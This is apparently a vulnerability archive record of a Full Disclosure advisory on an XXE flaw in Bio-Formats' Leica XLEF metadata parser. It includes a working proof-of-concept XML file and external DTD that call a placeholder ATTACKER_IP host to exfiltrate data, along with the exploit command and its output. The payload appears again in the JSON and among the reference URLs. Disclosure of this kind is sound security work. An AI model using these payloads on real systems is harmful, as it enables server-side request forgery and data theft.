VULNARCHIVE

GCVE-1988-2025-0003

Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser

Description (en)

Bio-Formats contains an XML External Entity (XXE) vulnerability in the
Leica Microsystems metadata parsing component. The vulnerability is caused
by the use of an insecurely configured DocumentBuilderFactory when
processing Leica XML-based metadata files (e.g., XLEF). When a crafted XML
file is supplied, the parser allows external entity resolution and external
DTD loading, enabling attackers to trigger arbitrary outbound network
requests, access local system resources, or cause a denial-of-service
condition during XML parsing.

*Impact:*
An attacker who can supply a crafted Leica XML metadata file may:
* Trigger XML External Entity (XXE) injection
* Perform server-side request forgery (SSRF) via outbound HTTP requests
* Access local files where XML-safe content exists
* Cause denial of service through entity expansion or parser instability
* Exfiltrate data through blind out-of-band channels
Exploitation occurs during XML parsing and does not require authentication.

*Proof of Concept:*
Malicious XLEF File
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
  <!ENTITY % ext SYSTEM "http://ATTACKER_IP:8000/evil.dtd";>
  %ext;
]>
<xlef>
  <Image>&exfil;</Image>
</xlef>
Attacker-Controlled External DTD (evil.dtd)
<!ENTITY exfil SYSTEM "http://ATTACKER_IP:8000/exfil?data=ubuntu";>

*Exploit Execution:*
java -cp bioformats_package.jar \
     loci.formats.tools.ImageInfo xxe_blind.xlef

*Observed Exploit Output:*
Victim Application Output
Initializing reader
XLEFReader initializing xxe_blind.xlef
http://ATTACKER_IP:8000/exfil?data=ubuntu
java.io.FileNotFoundException: http://ATTACKER_IP:8000/exfil?data=ubuntu
    at org.apache.xerces.impl.XMLEntityManager.setupCurrentEntity
    at org.apache.xerces.impl.XMLEntityManager.startEntity
    at org.apache.xerces.impl.XMLDTDScannerImpl.scanDTDInternalSubset
    at javax.xml.parsers.DocumentBuilder.parse
    at LMSXmlDocument.initFromFilepath(LMSXmlDocument.java:125)
Attacker HTTP Server Log
192.x.x.x - - [23/Dec/2025 23:28:19]
"GET /exfil?data=ubuntu HTTP/1.1" 404 -
The outbound HTTP request confirms that the XML parser resolved
attacker-controlled external entities during file parsing.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Bioformats",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Bio-Formats contains an XML External Entity (XXE) vulnerability in the\nLeica Microsystems metadata parsing component. The vulnerability is caused\nby the use of an insecurely configured DocumentBuilderFactory when\nprocessing Leica XML-based metadata files (e.g., XLEF). When a crafted XML\nfile is supplied, the parser allows external entity resolution and external\nDTD loading, enabling attackers to trigger arbitrary outbound network\nrequests, access local system resources, or cause a denial-of-service\ncondition during XML parsing.\n\n*Impact:*\nAn attacker who can supply a crafted Leica XML metadata file may:\n* Trigger XML External Entity (XXE) injection\n* Perform server-side request forgery (SSRF) via outbound HTTP requests\n* Access local files where XML-safe content exists\n* Cause denial of service through entity expansion or parser instability\n* Exfiltrate data through blind out-of-band channels\nExploitation occurs during XML parsing and does not require authentication.\n\n*Proof of Concept:*\nMalicious XLEF File\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE xxe [\n  <!ENTITY % ext SYSTEM \"http://ATTACKER_IP:8000/evil.dtd\";>\n  %ext;\n]>\n<xlef>\n  <Image>&exfil;</Image>\n</xlef>\nAttacker-Controlled External DTD (evil.dtd)\n<!ENTITY exfil SYSTEM \"http://ATTACKER_IP:8000/exfil?data=ubuntu\";>\n\n*Exploit Execution:*\njava -cp bioformats_package.jar \\\n     loci.formats.tools.ImageInfo xxe_blind.xlef\n\n*Observed Exploit Output:*\nVictim Application Output\nInitializing reader\nXLEFReader initializing xxe_blind.xlef\nhttp://ATTACKER_IP:8000/exfil?data=ubuntu\njava.io.FileNotFoundException: http://ATTACKER_IP:8000/exfil?data=ubuntu\n    at org.apache.xerces.impl.XMLEntityManager.setupCurrentEntity\n    at org.apache.xerces.impl.XMLEntityManager.startEntity\n    at org.apache.xerces.impl.XMLDTDScannerImpl.scanDTDInternalSubset\n    at javax.xml.parsers.DocumentBuilder.parse\n    at LMSXmlDocument.initFromFilepath(LMSXmlDocument.java:125)\nAttacker HTTP Server Log\n192.x.x.x - - [23/Dec/2025 23:28:19]\n\"GET /exfil?data=ubuntu HTTP/1.1\" 404 -\nThe outbound HTTP request confirms that the XML parser resolved\nattacker-controlled external entities during file parsing.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/6"
        },
        {
          "url": "http://ATTACKER_IP:8000/evil.dtd\""
        },
        {
          "url": "http://ATTACKER_IP:8000/exfil?data=ubuntu"
        },
        {
          "url": "http://ATTACKER_IP:8000/exfil?data=ubuntu\""
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0003",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/6",
            "automated": true,
            "contentSha256": "c408bb9daff831b3ed38a932c85b4d9c9e2da18115f391d75b82736085b174fd",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-30T03:56:29Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0003"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}